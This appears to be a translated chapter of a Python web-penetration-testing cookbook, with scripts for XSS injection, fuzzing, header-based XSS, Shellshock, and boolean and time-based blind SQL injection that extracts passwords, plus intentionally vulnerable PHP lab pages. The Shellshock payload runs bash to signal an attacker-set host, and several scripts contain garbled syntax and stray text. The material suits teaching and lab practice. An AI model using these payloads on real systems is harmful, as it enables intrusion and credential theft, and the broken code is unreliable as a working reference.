然后,我们为我们在负载列表中放置的每个值创建一个循环:

for payload in payloads:

然后,我们使用BeautifulSoup处理页面,这是一个允许我们根据标签和定义特征来切割页面的库。我们使用它来识别每个输入字段,以便选择名称,以便我们可以发送内容:

for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
          if field.has_attr('name'):

由于大多数网页中输入框的性质,任何名为submit的字段都不应被用于跨站脚本攻击,而是需要给予submit作为值,以便我们的攻击成功。我们创建一个if函数来检测是否是这种情况,使用.lower()函数轻松地考虑可能使用的大写值。如果该字段不用于验证提交,我们将其填充为当前使用的负载:

if field['name'].lower() == "submit":
              d[field['name']] = "submit"
            else:
              d[field['name']] = payload

我们通过使用requests库将我们现在分配的值发送到目标页面的 post 请求中,就像我们之前做的那样:

req = requests.post(url2, data=d)

然后加载将呈现我们内容的页面,并准备好用于检查结果函数:

checkresult = requests.get(url3)

与之前的脚本类似,我们通过搜索页面上的字符串来检查我们的字符串是否成功,并在成功时打印结果。然后,我们为下一个负载重置字典:

if payload in checkresult.text:
    print "Full string returned"
    print "Attack string: "+ payload
  d = {}

还有更多…

与之前一样,您可以修改此脚本以包含许多结果或从包含多个值的文件中读取。正如下面的示例中所示,Mozilla 的 FuzzDB 包含大量这些值。

以下是可以用来测试前面部分提供的脚本的设置。它们需要保存为提供的文件名才能正常工作,并与 MySQL 数据库一起使用以存储评论。

以下是名为guestbook.php的第一个接口页面:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}
?>

<form id="contact_form" action='addguestbook.php' method="post">
  <label>Name: <input class="textfield" name="name" type="text" value="" /></label>
  <label>Comment: <input class="textfield" name="comment" type="text" value="" /></label>
  <input type="submit" name="Submit" value="Submit"/> 
</form>

<strong><a href="viewguestbook.php">View Guestbook</a></strong>

以下脚本是addguestbook.php,它将您的评论放入数据库中:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid'];

$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="INSERT INTO $tbl_name VALUES('0','$name', '$comment', '$cookie')";

$result=mysql_query($sql);

if($result){
  echo "Successful";
  echo "<BR>";
  echo "<h1>Hi</h1>";

echo "<a href='viewguestbook.php'>View Guestbook</a>";
}

else{
  echo "ERROR";
}
mysql_close();
?>

最终脚本是viewguestbook.php,它从数据库中获取评论:

<html>

<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>

<h1>Comments</h1>

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid'])){
  setcookie("sessionid", $my_rand, "10000000000", "/xss/easy/");}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid'];

$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="SELECT * FROM guestbook WHERE session = '$cookie'";";

$result=mysql_query($sql);

while($field = mysql_fetch_assoc($result)) {

  print "Name: " . $field['name'] . "\t";
  print "Comment: " . $field['comment'] . "<BR>\r\n";
}

mysql_close();
?>

自动模糊

Fuzzing 是黑客社区的破坏和抢劫。它侧重于向页面发送大量无效内容并记录结果。这是 SQL 注入的败类版本,可以说是渗透测试的基本形式(尽管你们 LOIC 用户可能是生命形式的基本形式)。

我们将创建一个脚本,它将从 FuzzDB 元字符文件中获取值,并将它们发送到每个可用的参数,并记录所有结果。这绝对是一种暴力尝试来识别漏洞,并需要一个明智的人来查看结果。

准备工作

为此,您将需要来自 Mozilla 的 FuzzDB。在印刷时,可以从code.google.com/p/fuzzdb/获取。对于此脚本,您需要fuzzdb TAR 文件中的/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt文件。我正在重用用于概念验证的 XSS 脚本的测试 PHP 脚本,但您可以针对任何您喜欢的内容使用此脚本。目标是触发错误。

如何做…

脚本如下:

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"

f =  open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all- attacks/interesting-metacharacters.txt")
o = open("results.txt", 'a')

print "Fuzzing begins!"

initial = requests.get(url)
for payload in f.readlines():
  for field in BeautifulSoup(initial.text,  parse_only=SoupStrainer('input')):
  d = {}

          if field.has_attr('name'):
            if field['name'].lower() == "submit":
             d[field['name']] = "submit"
            else:
             d[field['name']] = payload
  req = requests.post(url2, data=d)
  response = requests.get(url3)

  o.write("Payload: "+ payload +"\r\n")
  o.write(response.text+"\r\n")

print "Fuzzing has ended"

以下是使用此脚本时产生的输出示例:

Fuzzing has begun!
Fuzzing has ended

它是如何工作的…

我们导入我们的库。由于这是一个测试脚本,我们在代码中建立我们的 URL:

url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"

然后我们打开两个文件。第一个将是 FuzzDB 元字符文件。我包含了我的路径,但在您的工作目录中复制该文件也是可以接受的。第二个文件将是您要写入的文件:

f =  open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt")
o = open("results.txt", 'a')

我们创建一个空字典,用于存储我们的参数和攻击字符串:

d = {}

由于脚本将其输出写入文件,我们需要提供一些文本来显示脚本正在运行,因此我们写了一条简单而友好的消息:

print "Fuzzing begins!"

我们读取接受输入的原始页面并赋给一个变量:

initial = requests.get(url)

我们使用BeautifilSoup分离页面并识别我们想要的唯一字段,即输入字段和名称字段:

for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
          if field.has_attr('name')@~:

我们需要再次检查是否提供了名为 submit 的字段,并将submit作为数据,否则我们应用我们的攻击字符串:

if field['name'].lower() == "submit":
              d[field['name']] = "submit"
            else:
              d[field['name']] = payload

我们首先提交一个POST请求,发送攻击字符串映射到输入字段的字典,然后我们从显示输出的页面请求一个GET请求(在第三页之前可能会出现一些错误,因此您应该相应地进行限制):

req = requests.post(url2, data=d)
  response = requests.get(url3)

由于输出会很长而且混乱,我们将输出写入最初打开的文件,以便人类可以轻松审查:

o.write("Payload: "+ payload +"\r\n")
o.write(response.text+"\r\n")

我们重置字典以供下一个攻击字符串使用,然后为了清晰起见,向用户提供脚本结束的输出:

d = {}
print "Fuzzing has ended"

还有更多…

您可以不断添加内容到这个脚本中。它被设计为适用于多种类型的输入和攻击。FuzzDB 包含许多不同的攻击字符串,因此所有这些都可以应用。我鼓励您去探索。

另请参阅

您可以像我一样针对存储的 XSS PHP 页面进行测试。

jQuery 检查

OWASP 十大漏洞中较少被检查但更严重的一个是使用已知漏洞的库或模块。这通常意味着过时的 web 框架版本,但也包括执行特定功能的 JavaScript 库。在这种情况下,我们正在检查 jQuery;我已经用这个脚本检查了其他库,但为了举例,我将坚持使用 jQuery。

我们将创建一个脚本,用于识别网站是否使用 jQuery,获取其版本号,然后将其与最新版本号进行比较,以确定是否为最新版本。

如何做…

以下是我们的脚本:

import requests
import re
from bs4 import BeautifulSoup
import sys

scripts = []

if len(sys.argv) != 2:
  print "usage: %s url" % (sys.argv[0])
  sys.exit(0)

tarurl = sys.argv[1]
url = requests.get(tarurl)
soup = BeautifulSoup(url.text)
for line in soup.find_all('script'):
  newline = line.get('src')
  scripts.append(newline)

for script in scripts:
  if "jquery.min" in str(script).lower():
    url = requests.get(script)
    versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
    if versions[0] == "2.1.1" or versions[0] == "1.12.1":
      print "Up to date"
    else:
      print "Out of date"
      print "Version detected: "+versions[0]

以下是使用此脚本时产生的输出示例:

http://candycrate.com
Out of Date
Version detected: 1.4.2

它是如何工作的…

像往常一样,我们导入我们的库并创建一个空库,用于存放我们未来识别的脚本:

scripts = []

对于这个脚本,我们创建了一个简单的使用指南,用于检测是否已提供 URL。它读取sys.argv的数量,如果不等于2,包括脚本本身,则打印出指南:

if len(sys.argv) != 2:
  print "usage: %s url" % (sys.argv[0])
  sys.exit(0)

我们从sys.argv列表中获取目标 URL 并打开它:

tarurl = sys.argv[1]
url = requests.get(tarurl)

与之前一样,我们使用 beautiful soup 来拆分页面;但是,这次我们正在识别脚本并提取它们的src值,以获取正在使用的js库的 URL。这将收集所有可能是 jQuery 的潜在库。请记住,如果您扩展使用范围以包括不同类型的库,这个 URL 列表可能非常有用:

for line in soup.find_all('script'):
  newline = line.get('src')
  scripts.append(newline)

对于每个识别的脚本,我们然后检查是否有任何jquery.min的提及,这将指示核心 jQuery 文件:

for script in scripts:
  if "jquery.min" in str(script).lower():

然后我们使用正则表达式来识别版本号。在 jQuery 文件中,这将是符合给定正则表达式的第一件事。正则表达式寻找0-9a-z后跟一个无限次数重复的句点。这是大多数版本号采用的格式,jQuery 也不例外:

versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)

re.findall方法找到与此正则表达式匹配的所有字符串;但是,正如前面提到的,我们只想要第一个。我们用注释[0]来标识它。我们检查是否等于当前 jQuery 版本的硬编码值,在撰写时。这些将需要手动更新。如果该值等于当前版本中的任何一个,脚本将声明其为最新版本,否则,它将打印检测到的版本以及过期消息:

if versions[0] == "2.1.1" or versions[0] == "1.12.1":
      print "Up to date"
    else:
      print "Out of date"
      print "Version detected: "+versions[0]

还有更多…

这个配方显然是可扩展的,可以通过简单地添加检测字符串和版本来应用到任何 JavaScript 库。

如果要扩展该字符串以包括其他库,比如不安全的 Django 或 flask 库,脚本将不得不进行修改,以处理它们声明的替代方式,因为它们显然不是声明为 JavaScript 库。

基于标头的跨站脚本

到目前为止,我们已经专注于通过 URL 和参数发送有效载荷,这是执行攻击的两种明显方法。然而,通常有许多丰富和肥沃的漏洞来源往往被忽视。其中之一将在第六章中深入介绍,图像分析和操作,现在我们可以先简单介绍一下。通常会记录访问网页的用户的特定标头。通过在标头中执行 XSS 攻击来执行这些日志的检查可能是一项值得的活动。

我们将创建一个脚本,向所有可用的标头提交 XSS 攻击字符串,并循环执行几种可能的 XSS 攻击。我们将提供一个简短的有效载荷列表,抓取所有标头,并依次提交它们。

准备工作

识别您希望测试的 URL。请参见本示例末尾的 PHP 网页,脚本可以用来测试脚本的有效性。

如何做…

一旦您确定了目标网页,将其作为命令行参数传递给脚本。您的脚本应该与下面的脚本中所示的相同:

import requests
import sys
url = sys.argv[1]
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY  ONLOAD=alert(1)>']
headers ={}
r = requests.head(url)
for payload in payloads:
  for header in r.headers:
    headers[header] = payload
  req = requests.post(url, headers=headers)

脚本不会提供任何输出,因为它针对的是功能的管理员端。但是,您可以轻松地设置它在每个循环中提供输出:

Print "Submitted "+payload

这将每次返回以下内容:

Submitted <script>alert(1);</script>

工作原理…

我们导入我们脚本所需的库,并以sys.argv函数的形式输入。你应该对这一点相当熟悉了。

再次,我们可以将我们的有效载荷声明为列表,而不是字典,因为我们将它们与网页提供的值配对。我们还创建一个空字典来容纳我们未来的攻击配对:

payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}

然后,我们对网页进行HEAD请求,仅返回我们正在攻击的页面的标头。虽然HEAD请求可能被禁用,但这种可能性很小;但是,如果是这样,我们可以将其替换为标准的GET请求:

r = requests.head(url)

我们循环遍历之前设置的有效载荷和从前面的HEAD请求中提取的标头:

for payload in payloads:
  for header in r.headers:

对于每个有效载荷和标头,我们将它们添加到之前设置的空字典中,作为一对:

headers[header] = payload

对于每个有效载荷的迭代,我们然后提交所有具有该有效载荷的标头,因为显然我们无法提交每个标头的多个:

req = requests.post(url, headers=headers)

由于攻击的活动部分发生在管理员的客户端,因此需要使用管理员帐户手动检查,或者需要联系管理员以查看攻击是否在日志链的任何位置激活。

另请参阅

以下是可用于测试前面脚本的设置。这与用于 XSS 检查的早期脚本非常相似。这里的区别在于传统的 XSS 方法将由于strip_tags函数而失败。它演示了需要使用非常规方法执行攻击的情况。显然,在注释中返回用户代理是虚构的,尽管这在野外很常见。它们需要保存为提供的文件名以便与 MySQL 数据库一起工作,并存储评论。

以下是名为guestbook.php的第一个界面页面:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid4'])){
  setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}
?>

<form id="contact_form" action='addguestbook.php' method="post">
  <label>Name: <input class="textfield" name="name" type="text" value="" /></label>
  <label>Comment: <input class="textfield" name="comment" type="text" value="" /></label>
  <input type="submit" name="Submit" value="Submit"/> 
</form>

<strong><a href="viewguestbook.php">View Guestbook</a></strong>

以下脚本是addguestbook.php,它将您的评论放入数据库:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid4'])){
  setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid4'];

$unsanname = $_REQUEST['name'];
$unsan = $_REQUEST['comment'];
$comment = addslashes($unsan);
$name = addslashes($unsanname);

#echo "$comment";

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="INSERT INTO $tbl_name VALUES('0','$name', '$comment', '$cookie')";

$result=mysql_query($sql);

if($result){
  echo "Successful";
  echo "<BR>";

echo "<a href='viewguestbook.php'>View Guestbook</a>";
}

else{
  echo "ERROR";
}
mysql_close();
?>

最终脚本是viewguestbook.php,它从数据库中提取评论:

<?php

$my_rand = rand();

if (!isset($_COOKIE['sessionid4'])){
  setcookie("sessionid4", $my_rand, "10000000000", "/xss/vhard/");
}

$host='localhost';
$username='root';
$password='password';
$db_name="xss";
$tbl_name="guestbook";

$cookie = $_COOKIE['sessionid4'];

$name = $_REQUEST['name'];
$comment = $_REQUEST['comment'];

mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");

$sql="SELECT * FROM guestbook WHERE session = '$cookie'";

$result=mysql_query($sql);

echo "<h1>Comments</h1>\r\n";

while($field = mysql_fetch_assoc($result)) {
  $trimmedname = strip_tags($field['name']);
  $trimmedcomment = strip_tags($field['comment']);
  echo "<a>Name: " . $trimmedname . "\t";
  echo "Comment: " . $trimmedcomment . "</a><BR>\r\n";
  }

echo "<!--" . $_SERVER['HTTP_USER_AGENT'] . "-->";

mysql_close();
?>

Shellshock 检查

摆脱对 Web 服务器的标准攻击方式,我们将快速查看 Shellshock,这是一个漏洞,允许攻击者通过特定标头执行 shell 命令。这个漏洞在 2014 年出现,并迅速成为当年最大的漏洞之一。虽然现在它大部分已经修复,但它是 Web 服务器可以被操纵执行更复杂攻击的一个很好的例子,并且可能在未来的常见传输文件(CTF)中成为频繁的目标。

我们将创建一个脚本,该脚本会拉取页面的标头,识别易受攻击的标头是否存在,并向该标头提交一个示例有效载荷。此脚本依赖于外部基础设施来支持此攻击以收集受损设备的呼叫。

准备工作

确定您要测试的 URL。一旦确定了目标网页,将其作为sys.argv传递给脚本:

如何做…

您的脚本应该与以下脚本相同:

import requests
import sys
url = sys.argv[1]
payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'"
headers ={}
r = requests.head(url)
for header in r.headers:
  if header == "referer" or header == "User-Agent": 
    headers[header] = payload
req = requests.post(url, headers=headers)

该脚本不会提供输出,因为它针对的是功能的管理员端。但是,您可以轻松地设置它在每次循环时提供输出:

Print "Submitted "+payload

这将每次返回以下内容:

Submitted <script>alert(1);</script>

它是如何工作的…

我们导入了此脚本所需的库,并以sys.argv函数的形式接受输入。这有点重复,但它完成了工作。

我们将我们的有效载荷声明为一个单一实体。如果您希望对服务器执行多个操作,可以将其设置为有效载荷,类似于前面的操作。我们还为我们的标头-有效载荷组合创建一个空字典,并向目标 URL 发出HEAD请求:

payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt <url/ip>'"
headers ={}
r = requests.head(url)

此处设置的有效载荷将 ping 您在<url/ip>空间设置的任何服务器。它将在该 ping 中发送一条消息,即pwnt。这使您能够确定服务器实际上已被攻破,而不仅仅是一个随机服务器。

然后,我们遍历我们在初始的HEAD请求中提取的每个标头,并检查是否有referrerUser-Agent标头,这些标头容易受到 Shellshock 攻击。如果存在这些标头,我们对该标头发送我们的攻击字符串:

for header in r.headers:
  if header == "referer" or header == "User-Agent": 
    headers[header] = payload

一旦我们确定了我们的标头是否存在,并已设置了针对它们的攻击字符串,我们就发出请求。如果成功,消息应该出现在我们的日志中:

req = requests.post(url, headers=headers)

第四章:SQL 注入

在本章中,我们将涵盖以下主题:

  • 检查抖动

  • 识别基于 URL 的 SQLi

  • 利用布尔 SQLi

  • 利用盲目 SQLi

  • 编码有效载荷

介绍

SQL 注入是一种吵闹的攻击,在你看到的每个与技术相关的媒体提供商中都会被强调。这是最常见和最具破坏性的攻击之一,继续在新的安装中蓬勃发展。本章重点介绍执行和支持 SQL 注入攻击。我们将创建编码攻击字符串的脚本,执行攻击,并计时正常操作以规范化攻击时间。

检查抖动

执行基于时间的 SQL 注入的唯一困难之处在于无处不在的游戏玩家的灾难,即延迟。人类可以轻松地坐下来,心理上考虑延迟,获取一系列返回的值,并明智地检查输出并计算出cgrischris。对于机器来说,这要困难得多;因此,我们应该尝试减少延迟。

我们将创建一个脚本,该脚本向服务器发出多个请求,记录响应时间,并返回平均时间。然后可以用来计算时间攻击中响应波动,这种攻击被称为抖动

如何做…

确定您希望攻击的 URL,并通过sys.argv变量提供给脚本:

import requests
import sys
url = sys.argv[1]

values = []

for i in xrange(100): 
  r = requests.get(url)
  values.append(int(r.elapsed.total_seconds()))

average = sum(values) / float(len(values))
print “Average response time for “+url+” is “+str(average)

使用此脚本时产生的输出示例如下:

如何做…

工作原理…

我们导入了这个脚本所需的库,就像我们在本书中做的其他脚本一样。我们将计数器I设置为零,并创建一个空列表,用于我们即将生成的时间:

while i < 100:
  r = requests.get(url)
  values.append(int(r.elapsed.total_seconds()))
  i = i + 1

使用计数器I,我们向目标 URL 运行100个请求,并将请求的响应时间附加到我们之前创建的列表中。R.elapsed是一个timedelta对象,而不是整数,因此必须使用.total_seconds()调用它,以便获得我们后来平均值的可用数字。然后我们将计数器加一,以便在此循环中计数,并使脚本适当地结束:

average = sum(values) / float(len(values))
print “Average response time for “+url+” is “+average

循环完成后,我们通过使用sum计算列表的总值并使用len除以列表中的值来计算100个请求的平均值。

然后我们返回一个基本的输出,以便理解。

还有更多…

这是执行此操作的一种非常基本的方式,实际上只是作为一个独立的脚本来证明一个观点。要作为另一个脚本的一部分执行,我们将执行以下操作:

import requests
import sys

input = sys.argv[1]

def averagetimer(url):

  i = 0
  values = []

  while i < 100:
    r = requests.get(url)
    values.append(int(r.elapsed.total_seconds()))
    i = i + 1

  average = sum(values) / float(len(values))
  return average

averagetimer(input)

识别基于 URL 的 SQLi

因此,我们之前已经看过 XSS 和错误消息的模糊处理。这一次,我们做的是类似的事情,但是用 SQL 注入代替。任何 SQLi 的关键都始于一个单引号,勾号或撇号,取决于您个人选择的单词。我们将一个撇号扔进目标 URL 中,并检查响应,以查看如果成功,正在运行的 SQL 版本是什么。

我们将创建一个脚本,将基本的 SQL 注入字符串发送到我们的目标 URL,记录输出,并与错误消息中已知的短语进行比较,以识别底层系统。

如何做…

我们将使用的脚本如下:

import requests

url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”
initial = “'”
print “Testing “+ url
first = requests.post(url+initial)

if “mysql” in first.text.lower(): 
  print “Injectable MySQL detected”
elif “native client” in first.text.lower():
  print “Injectable MSSQL detected”
elif “syntax error” in first.text.lower():
  print “Injectable PostGRES detected”
elif “ORA” in first.text.lower():
  print “Injectable Oracle detected”
else:
  print “Not Injectable J J”

使用此脚本时产生的输出示例如下:

Testing http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=
Injectable MySQL detected

工作原理…

我们导入我们的库并手动设置我们的 URL。如果需要,我们可以将其设置为sys.argv变量;但是,我在这里将其硬编码为了显示预期的格式。我们将初始注入字符串设置为单引号,并打印测试正在开始:

url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”
initial = “'”
print “Testing “+ url

我们将我们的第一个请求作为我们提供的 URL 和撇号:

first = requests.post(url+initial)

接下来的几行是我们的检测方法,用于识别底层数据库是什么。MySQL 标准错误是:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

相应地,我们的检测尝试读取响应文本,并搜索MySQL字符串,如果成功,则打印出尝试成功:

if “mysql” in first.text.lower(): 
  print “Injectable MySQL detected”

对于 MS SQL,一个示例错误消息是:

Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string

由于存在多个潜在的错误消息,我们需要确定尽可能多的错误消息中发生的一个常量。为此,我选择了native client,尽管Microsoft SQL也可以使用:

elif “native client” in first.text.lower():
  print “Injectable MSSQL detected”

PostgreSQL 的标准错误消息是:

Query failed: ERROR: syntax error at or near
“'” at character 56 in /www/site/test.php on line 121.

有趣的是,对于 SQL 中总是语法错误的情况,唯一经常使用syntax一词的解决方案是PostGRES,这使我们可以将其用作区分词:

elif “syntax error” in first.text.lower():
  print “Injectable PostGRES detected”

我们检查的最后一个系统是 Oracle。Oracle 的一个示例错误消息是:

ORA-00933: SQL command not properly ended

ORA 是大多数 Oracle 错误的前缀,因此可以在这里用作标识符。只有少数边缘情况下,非 ORA 错误消息会应用于尾随的单引号:

elif “ORA” in first.text.lower():
  print “Injectable Oracle detected”

如果以上情况都不适用,我们有一个最终的else语句,声明参数不可注入,并且在选择该参数时出错。

以下是示例输出的屏幕截图:

它是如何工作的...

还有更多...

将此脚本与第一章中找到的蜘蛛联系起来,收集开源情报,将成为识别网页上可注入 URL 的快速高效方法。在大多数情况下,需要一种识别要注入的参数的方法,这可以通过简单的正则表达式操作来实现。

Audi-1 制作了一组有用的 SQLi 测试页面,可以在github.com/Audi-1/sqli-labs找到。

利用布尔 SQLi

有时你只能从页面上得到一个是或否的答案。当你意识到这就是 SQL 等价于说“我爱你”的时候,这是令人心碎的。所有的 SQLi 都可以分解成是或否的问题,取决于你的耐心。

我们将创建一个脚本,它接受一个yes值和一个 URL,并根据预定义的攻击字符串返回结果。我提供了一个示例攻击字符串,但这将根据您正在测试的系统而变化。

如何做...

以下脚本是您的脚本应该的样子:

import requests
import sys

yes = sys.argv[1]

i = 1
asciivalue = 1

answer = []
print “Kicking off the attempt”

payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}

while True:
  req = requests.post('<target url>' data=payload)
  lengthtest = req.text
  if yes in lengthtest:
    length = i
    break
  else:
    i = i+1

for x in range(1, length):
  while asciivalue < 126:
payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}
      req = requests.post('<target url>', data=payload)
      if yes in req.text:
    answer.append(chr(asciivalue))
break
  else:
      asciivalue = asciivalue + 1
      pass
asciivalue = 0
print “Recovered String: “+ ''.join(answer)

它是如何工作的...

首先,用户必须识别仅在 SQLi 成功时发生的字符串。或者,可以修改脚本以响应 SQLi 失败的证据缺失。我们将此字符串作为sys.argv变量提供。我们还创建了我们将在此脚本中使用的两个迭代器,并将它们设置为1,因为 MySQL 从1开始计数,而不是像失败的系统那样从0开始。我们还为我们未来的答案创建了一个空列表,并告知用户脚本正在启动:

yes = sys.argv[1]

i = 1
asciivalue = 1
answer = []
print “Kicking off the attempt”

我们的有效载荷基本上请求我们试图返回的密码长度,并将其与将要迭代的值进行比较:

payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}

然后我们永远重复下一个循环,因为我们不知道密码有多长。我们将有效载荷提交到目标 URL 以进行POST请求:

while True:
  req = requests.post('<target url>' data=payload)

每次检查我们最初设置的yes值是否出现在响应文本中,如果是,我们结束while循环,将i的当前值设置为参数长度。break命令是结束while循环的部分:

lengthtest = req.text
  if yes in lengthtest:
    length = i
    break

如果我们没有检测到yes值,我们将i1并继续循环:

Ard.
else:
    i = i+1

使用目标字符串的已识别长度,我们遍历每个字符,并使用asciivalue,每个可能的字符值。对于每个值,我们将其提交到目标 URL。因为 ascii 表只运行到127,我们将循环限制到asciivalue达到126为止。如果达到127,则出现了问题:

for x in range(1, length):
  while asciivalue < 126:
payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}
    req = requests.post('<target url>', data=payload)

我们检查我们的是字符串是否出现在响应中,如果是,就跳转到下一个字符。我们将成功的消息以字符形式附加到我们的答案字符串中,并使用chr命令进行转换:

if yes in req.text:
    answer.append(chr(asciivalue))
break

如果yes值不存在,我们将asciivalue添加到移动到下一个可能的字符位置并通过:

else:
      asciivalue = asciivalue + 1
      pass

最后,我们为每个循环重置asciivalue,然后当循环达到字符串的长度时,我们完成,打印整个恢复的字符串:

asciivalue = 1
print “Recovered String: “+ ''.join(answer)

还有更多...

潜在地,这个脚本可以被修改以处理遍历表并通过更好设计的 SQL 注入字符串恢复多个值。最终,这提供了一个基础,就像后来的盲目 SQL 注入脚本一样,用于开发更复杂和令人印象深刻的脚本来处理具有挑战性的任务。查看利用盲目 SQL 注入脚本,了解这些概念的高级实现。

利用盲目 SQL 注入

有时候,生活会给你柠檬;盲目的 SQL 注入点就是其中之一。当你相当确定已经找到了 SQL 注入漏洞,但没有错误,也无法让它返回你的数据时,在这些情况下,你可以在 SQL 中使用时间命令来导致页面暂停返回响应,然后利用这个时间来判断数据库及其数据。

我们将创建一个脚本,向服务器发出请求,并根据请求的字符返回不同时间的响应。然后它将读取这些时间并重新组装字符串。

如何做…

脚本如下:

import requests

times = []
print “Kicking off the attempt”
cookies = {'cookie name': 'Cookie value'}

payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}
req = requests.post('<target url>' data=payload, cookies=cookies)
firstresponsetime = str(req.elapsed.total_seconds)

for x in range(1, firstresponsetime):
  payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}
  req = requests.post('<target url>', data=payload, cookies=cookies)
  responsetime = req.elapsed.total_seconds
  a = chr(responsetime)
    times.append(a)
    answer = ''.join(times)
print “Recovered String: “+ answer

它是如何工作的…

和往常一样,我们导入所需的库并声明我们需要稍后填充的列表。我们还在这里有一个函数,说明脚本确实已经开始。在某些基于时间的函数中,用户可能需要等待一段时间。在这个脚本中,我还使用了request库来包含 cookies。对于这种攻击,可能需要进行身份验证:

times = []
print “Kicking off the attempt”
cookies = {'cookie name': 'Cookie value'}

我们在字典中设置了我们的有效载荷以及一个提交按钮。攻击字符串足够简单,通过一些解释就可以理解。初始的撇号必须被转义为字典内的文本。该撇号最初中断了 SQL 命令,并允许我们输入自己的 SQL 命令。接下来,我们说在第一个命令失败的情况下,执行以下命令与OR。然后,我们告诉服务器为密码列中第一行中的每个字符休眠一秒。最后,我们用分号关闭语句,并用井号(或者如果你是美国人和/或错误的话,用英镑)注释掉任何尾随字符:

payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}

然后我们将服务器响应所花费的时间长度设置为firstreponsetime参数。我们将使用这个参数来理解我们需要通过这种方法暴力破解多少个字符:

firstresponsetime = str(req.elapsed).total_seconds

我们创建一个循环,将x设置为从标识的字符串的长度为1到所有数字,并对每个数字执行一个操作。我们从这里开始是因为 MySQL 从1开始计数,而不是像 Python 一样从零开始:

for x in range(1, firstresponsetime):

我们制作了一个类似之前的有效载荷,但这次我们说在密码列的密码的第一个字符的 ascii 值处休眠。因此,如果第一个字符是小写 a,那么对应的 ascii 值是 97,因此系统会休眠 97 秒。如果是小写 b,它将休眠 98 秒,依此类推:

payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}

我们每次为字符串中的每个字符位置提交我们的数据。

req = requests.post('<target url>', data=payload, cookies=cookies)

我们获取每个请求的响应时间,记录服务器休眠的时间,然后将该时间从 ascii 值转换回字母:

responsetime = req.elapsed.total_seconds
  a = chr(responsetime)

对于每次迭代,我们打印出当前已知的密码,然后最终打印出完整的密码:

answer = ''.join(times)
print “Recovered String: “+ answer

还有更多...

这个脚本提供了一个可以适应许多不同情况的框架。Wechall,这个网站挑战网站,设置了一个有时间限制的盲目 SQLi 挑战,必须在很短的时间内完成。以下是我们的原始脚本,已经适应了这个环境。正如你所看到的,我不得不考虑到不同值的较小时间差异和服务器延迟,并且还包括了一个检查方法,每次重置测试值并自动提交它:

import subprocess
import requests

def round_down(num, divisor):
    return num - (num%divisor)

subprocess.Popen([“modprobe pcspkr”], shell=True)
subprocess.Popen([“beep”], shell=True)

values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'}
times = []
answer = “This is the first time”
cookies = {'wc': 'cookie'}
setup = requests.get ('http://www.wechall.net/challenge/blind_lighter/index .php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies)
y=0
accum=0

while 1:
  reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies)
